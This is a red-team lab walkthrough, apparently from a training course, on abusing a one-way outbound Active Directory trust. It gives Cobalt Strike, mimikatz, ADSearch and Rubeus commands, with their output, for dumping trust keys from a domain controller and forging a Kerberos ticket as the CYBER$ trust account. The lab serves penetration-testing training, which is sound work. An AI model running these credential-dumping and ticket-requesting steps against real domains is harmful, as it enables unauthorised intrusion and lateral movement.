One-Way Outbound

Remember that if Domain A trusts Domain B, users in Domain B can access resources in Domain A; but users in Domain A should not be able to access resources in Domain B. If we're in Domain A, then it's by design that we should not be able to access Domain B. An outbound trust exists between cyberbotic.io and msp.org. The direction of trust is such that cyberbotic.io trusts msp.org (so users of msp.org can access resources in cyberbotic.io).

Because DEV has a trust with CYBER, we can query the trusts that it has by adding the -Domain parameter.

beacon> getuid
[*] You are DEV\bfarmer

beacon> powershell Get-DomainTrust -Domain cyberbotic.io

SourceName      : cyberbotic.io
TargetName      : msp.org
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection  : Outbound
WhenCreated     : 8/16/2022 9:49:17 AM
WhenChanged     : 8/16/2022 9:49:17 AM

\

We can still partially exploit this trust and obtain "domain user" access from CYBER to MSP by leveraging the shared credential for the trust. Both domains in a trust relationship store a shared password (which is automatically changed every 30 days) in a Trusted Domain Object (TDO). These objects are stored in the system container and can be read via LDAP. Here we see that the DC in CYBER has two TDOs for its trusts with DEV and MSP.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection

[*] TOTAL NUMBER OF SEARCH RESULTS: 2
	[+] distinguishedName : CN=dev.cyberbotic.io,CN=System,DC=cyberbotic,DC=io
	[+] name              : dev.cyberbotic.io
	[+] flatName          : DEV
	[+] trustDirection    : 3

	[+] distinguishedName : CN=msp.org,CN=System,DC=cyberbotic,DC=io
	[+] name              : msp.org
	[+] flatName          : MSP
	[+] trustDirection    : 2

\

There are two options for obtaining the key material. One is to move laterally to the DC itself and dump from memory.

beacon> run hostname
dc-1

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> mimikatz lsadump::trust /patch

Domain: MSP.ORG (MSP / S-1-5-21-616357355-3455548143-339820157)
 [  In ] CYBERBOTIC.IO -> MSP.ORG

 [ Out ] MSP.ORG -> CYBERBOTIC.IO
    * 8/16/2022 9:49:17 AM - CLEAR   - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
	* aes256_hmac       5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
	* aes128_hmac       9851d2d80411e6d40122005d1c361579
	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

 [ In-1] CYBERBOTIC.IO -> MSP.ORG

 [Out-1] MSP.ORG -> CYBERBOTIC.IO
    * 8/16/2022 9:49:17 AM - CLEAR   - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
	* aes256_hmac       5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
	* aes128_hmac       9851d2d80411e6d40122005d1c361579
	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

This performs memory patching, which is very risky, particularly on a domain controller.

\

The second is to use DCSync with the TDO's GUID.

beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid

objectguid                          
----------                          
b93d2e36-48df-46bf-89d5-2fc22c139b43
 beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}

[DC] 'cyberbotic.io' will be the domain
[DC] 'dc-1.cyberbotic.io' will be the DC server
[DC] Object with GUID '{b93d2e36-48df-46bf-89d5-2fc22c139b43}'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : msp.org

** TRUSTED DOMAIN - Antisocial **

Partner              : msp.org
 [ Out ] MSP.ORG -> CYBERBOTIC.IO
    * 8/16/2022 9:49:17 AM - CLEAR   - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
	* aes256_hmac       5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
	* aes128_hmac       9851d2d80411e6d40122005d1c361579
	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

 [Out-1] MSP.ORG -> CYBERBOTIC.IO
    * 8/16/2022 9:49:17 AM - CLEAR   - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
	* aes256_hmac       5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
	* aes128_hmac       9851d2d80411e6d40122005d1c361579
	* rc4_hmac_nt       f3fc2312d9d1f80b78e67d55d41ad496

\

[Out] and [Out-1] are the "new" and "old" passwords respectively (they're the same here because 30 days hasn't elapsed since the creation of the trust). In most cases, the current [Out] key is the one you want. In addition, there is also a "trust account" which is created in the "trusted" domain, with the name of the "trusting" domain. For instance, if we get all the user accounts in the DEV domain, we'll see CYBER$ and STUDIO$, which are the trust accounts for those respective domain trusts.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"

[*] TOTAL NUMBER OF SEARCH RESULTS: 11

        [...]
	[+] cn : CYBER$
	[+] cn : STUDIO$

\

This means that the MSP domain will have a trust account called CYBER$, even though we can't enumerate across the trust to confirm it. This is the account we must impersonate to request Kerberos tickets across the trust.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap

[*] Action: Ask TGT

[*] Using rc4_hmac hash: f3fc2312d9d1f80b78e67d55d41ad496
[*] Building AS-REQ (w/ preauth) for: 'msp.org\CYBER$'
[*] Using domain controller: 10.10.151.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFGD[...]Aub3Jn

  ServiceName              :  krbtgt/msp.org
  ServiceRealm             :  MSP.ORG
  UserName                 :  CYBER$
  UserRealm                :  MSP.ORG
  StartTime                :  9/12/2022 2:03:12 PM
  EndTime                  :  9/13/2022 12:03:12 AM
  RenewTill                :  9/19/2022 2:03:12 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  Uf2X2f65qJYeHow3kfHG2w==
  ASREP (key)              :  F3FC2312D9D1F80B78E67D55D41AD496

Remember that RC4 tickets are used by default across trusts.

\

This TGT can now be used to interact with the domain.

beacon> run klist

Current LogonId is 0:0x537833

Cached Tickets: (1)

#0>	Client: CYBER$ @ MSP.ORG
	Server: krbtgt/msp.org @ MSP.ORG
	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

beacon> powershell Get-Domain -Domain msp.org

Forest                  : msp.org
DomainControllers       : {ad.msp.org}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : 
PdcRoleOwner            : ad.msp.org
RidRoleOwner            : ad.msp.org
InfrastructureRoleOwner : ad.msp.org
Name                    : msp.org

\

This account is obviously not a domain admin, but there are multiple abuse primitives that can now be performed across the trust to elevate privileges - including kerberoasting, ASREPRoasting, RBCD, and vulnerable certificate templates.

As a challenge, try and find a way to get DA in this forest.

Last updated